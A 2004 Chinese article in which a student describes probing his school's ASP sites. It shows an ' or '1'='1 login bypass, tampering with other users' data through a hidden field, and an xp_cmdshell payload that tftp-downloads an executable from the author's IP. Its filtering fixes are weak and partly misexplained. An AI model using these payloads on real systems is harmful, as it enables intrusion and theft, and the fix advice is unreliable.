您的位置:首页资讯网络应用 → 测试我们学校服务器的安全性

测试我们学校服务器的安全性

时间:2004/10/8 16:34:00来源:本站整理作者:蓝点我要评论(0)

    我自从在学校维护学生会网站以后,就有了不小的权限,我只要上传一个“海阳顶端网ASP木马”就可以任意修改任何web页面了,因为学校里所有的站点都放在http://www.nothing.com/里面,不过我可不敢这样做,也不会这样做。最近学习ASP挺上瘾,就看看学校自己写的ASP程序有什么隐患吧。、 

问题一 

  除了前台只有少量的ASP文件,就是用户注册(是学校的人才能注册)、登陆、忘记密码、个人信息修改这几个ASP文件,先看看忘记密码,lostpass.asp是一个提交页面,没有任何ASP语句,看看
里目标文件是lostpass1.asp,再查看原代码,没有发现问题(是我的水平有限),再看下一个lostpass2.asp,呵呵,发现了一句有毛病的语句: 

sql="select pwd,answer from [member] where userID='"&userID&"' and answer='"&answer&"'" 

  这么低级的错误也会犯,此时,您只要根据sql构造一个特殊的用户名和密码,如:' or '1'='1 
这样,程序将会变成这样: 

sql="select pwd,answer from [member] where userID="&'or'1'=1&"and pass="&answer&" 

  or是一个逻辑运算符,判断两个条件的时候,只要其中一个条件成立,那么等式将会成立,而在语言中,是以1来代表真的(成立),那么在这行语句中,原语句的"and"验证将不再继续,而因为"1=1"和"or"令语句返回为真值。这样的话我们从一开始就可以提交' or '1'='1这个来饶过验证了,不管我们在什么文本框我们都提交' or '1'='1这个都能顺利到达下一个页面,既然这样,我们用' or '1'='1来作为用户名和密码登陆,会怎么样呢?实验证明登陆成功,因为显示个人资料修改的链接了,果然正常显示了个人资料,我发现真实姓名不可改,说明一定有什么ID之类的来识别用户,于是直接查看网页源代码发现这么一行重要的东西: 
原来是靠这个hiddenField来辨别用户,那么如果我修改了value的值,那不是可以修改其他用户了吗?马上拿我以前注册的来试,把我的号码2001010XXX替换上去,然后修改里的相对连接,另存为htm文件,然后提交我需要修改的资料。再看看我的资料,果然被修改了,这么说如果我我知道任何一个用户的hiddenField的值,就可以修改其资料,还不乱套?这个就搁在一边……这个问题可以写个函数禁止从外部提交数据得以解决。 
  不过这个漏洞有点局限性,如果想改某个用户的资料一定要知道hiddenField的值,否则只能乱改。不过既然这个文件这样了,我想后台入口验证程序应该也是这样,我试着登陆,成功了,所有会员的资料尽收眼底,而且任意添加和修改管理员,做什么都可以啊。 
  这个问题的防范方法其实很简单,处理输入字符就可以了,原来我还以为用replace()函数呢,请教了一下劲风,得知用mid()函数可以很好的解决,加一个判断就可以了: 

us=mid(input,i,1) 
if us=" " or us="'" or us="%" or us="<" or us=">" or us="&" then 
response.redirect "error_page.asp" 
response.end 

  几行代码就可以检查用户所输入的字符了,当然,应该尽量多检查一些特殊字符。这行代码意思是检查输入的字符中,如果有空格、单引号、百分号和“<”、“>”就重定向到error_page.asp这个页面。 
  虽然“海阳顶端网ASP木马”具有黑掉学校服务器的能力,但我们还是要从学校的程序入手,否则就没有意义了,“海阳顶端网ASP木马”在这里只充当一个查看原代码的角色。 

问题二 

  通常一些资料调用文件都会存在一些SQL injection漏洞,比如show.asp、showarticle.asp、shownews.asp、showuser.asp等等,因为这些文件很容易忽略检查变量,我看到一个shownews.asp文件。马上打开,其原代码如下(由于此文件太大,限于篇幅,我去掉了很多无关的HTML代码): 

<% option explicit %> 
 
<% 
dim sql,rs,rsc,thedate 
dim reviewable,aboutnews 
set rs=server.createobject("adodb.recordset") '查找显示相关新闻数目及是否开放评论权限 
rs.open "select * from news_parameter where parameterid=1",conn,1,1 
if not rs.bof and not rs.eof then 
aboutnews=rs("aboutnews") 
if rs("reviewable")=1 then 
reviewable=1 
else 
reviewable=0 
end if 
else 
aboutnews=5 
reviewable=1 
end if 
rs.close 
set rs=nothing 
set rs=server.createobject("adodb.recordset") 
sql="update news set hits=hits where newsid=" & cstr(request("newsid")) 
conn.execute sql 
if session("purview")="" then 
rs.open "select * from news where newsid=" & cstr(request("newsid")) & " and audit=1",conn,1,1 
else 
rs.open "select * from news where newsid=" & cstr(request("newsid")),conn,1,1 
end if 
if err.number <> 0 then 
response.write "数据库出错" 
else 
if rs.bof and rs.eof then 
rs.close 
response.write "该新闻不存在或未经过审核" 
else 
%> 
 
 
 
<%=rs("topic")%> 
 
 
 
 
 
 

<%=rs("topic")%> 
 
 
 
 
<%=rs("ntime")%> <% if trim(rs("nfrom"))<>"" then 
response.write "文章来源:" & trim(rs("nfrom")) 
end if %> 
<% if trim(rs("writer"))<>"" then 
response.write "作者:" & trim(rs("writer")) 
end if %> 浏览次数:<%=rs("hits")%> 
 
 
 
 
<% dim content 
content=rs("content") 
content=replace(content,"../../../","../news/") 
response.write content %> 
 
 
 



---------- 相 关 新 闻 ----------
 
<% set rsc=server.createobject("adodb.recordset") 
if session("purview")="" then 
rsc.open "select top " & aboutnews & " * from news where keys like '%" & trim(rs("keys")) & "%' and newsid<>" & cstr(rs("newsid")) & " and audit=1 order by ntime DESC",conn,1,1 
else 
rsc.open "select top " & aboutnews & " * from news where keys like '%" & trim(rs("keys")) & "%' and newsid<>" & cstr(rs("newsid")) & " order by ntime DESC",conn,1,1 
end if 
if rsc.bof and rsc.eof then 
response.write "暂时没有相关新闻" 
else 
response.write "
do while not rsc.eof 
response.write "

  • thedate="(" & cstr(year(rsc("ntime"))) & "-" & cstr(month(rsc("ntime"))) & "-" & cstr(day(rsc("ntime"))) & ")" 
    response.write "" & trim(rsc("topic")) & "" & thedate & "" 
    if month(cdate(trim(rs("ntime"))))=month(now()) and clng(day(cdate(trim(rs("ntime"))))+1)>=clng(day(now())) then 
    response.write "

    end if 
    rsc.movenext 
    loop 
    end if 
    rsc.close 
    set rsc=nothing %> 
     
     
     
     
     
     
    <% end if 
    end if%> 
     

      大家看到了吗?文件根本没有对任何变量做任何检查,所以这个文件怎么利用都不过份,呵呵,看到这一句, 

    rs.open "select * from news where newsid=" & cstr(request("newsid")),conn,1,1 

      由于程序根本没有对任何变量做任何检查。我们就可以可以直接构造 newsid 发动sql injection攻击,我们提交这样的代码就可以以连接这个SQL数据库的用户所拥有的权限执行系统命令。 

    http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';-- 

      针对这个文件的解决办法就是用replace函数过滤,看看下面的代码: 

    replace(str,"'","''") 
    replace(str,"'","") 

      这两行的意思就是把单引号替换为双引号和空格。 
      我们学校服务器的系统漏洞已经找不出什么东西了,但是由于Web程序的问题,导致服务器被控制,学校的技术人员怎么想呢?文章虽短,但问题已经说明很清楚了。 
      看来Web程序的问题实在不可忽视。Web程序安全的重点就是对字符检查——检查——再检查。 
      本人水平实在有限,写不出什么高深技术的文章,在这里献丑了。 
  • 相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

    文章评论
    发表评论

    热门文章 360免费wifi电脑版怎么有道云笔记怎么保存网有道云笔记内容丢失怎360免费wifi一直显示正

    最新文章 微博热搜宝盒是什么 微最新微信编辑器哪个好 百度网盘安全吗?百度网盘信息泄露怎么回事乐视云盘关闭怎么办 乐视云盘关闭怎么转移文百度云盘下载速度慢解决方法2017 百度云盘下百度网盘怎么用迅雷下载2017 百度网盘怎么用

    人气排行 无线网络密码破解WPA/WPA2教程(包教包会)微信编辑器哪个好 3种实用微信编辑器推荐foxmail邮件存储位置在哪 foxmail7.2邮件存p2p种子搜索器用不了解决办法360免费wifi没有无线网卡怎么办百度云网盘中怎么添加好友 百度云网盘添加微信电脑版聊天记录保存在哪 微信电脑版文件360云盘上传速度慢怎么办 360云盘上传速度慢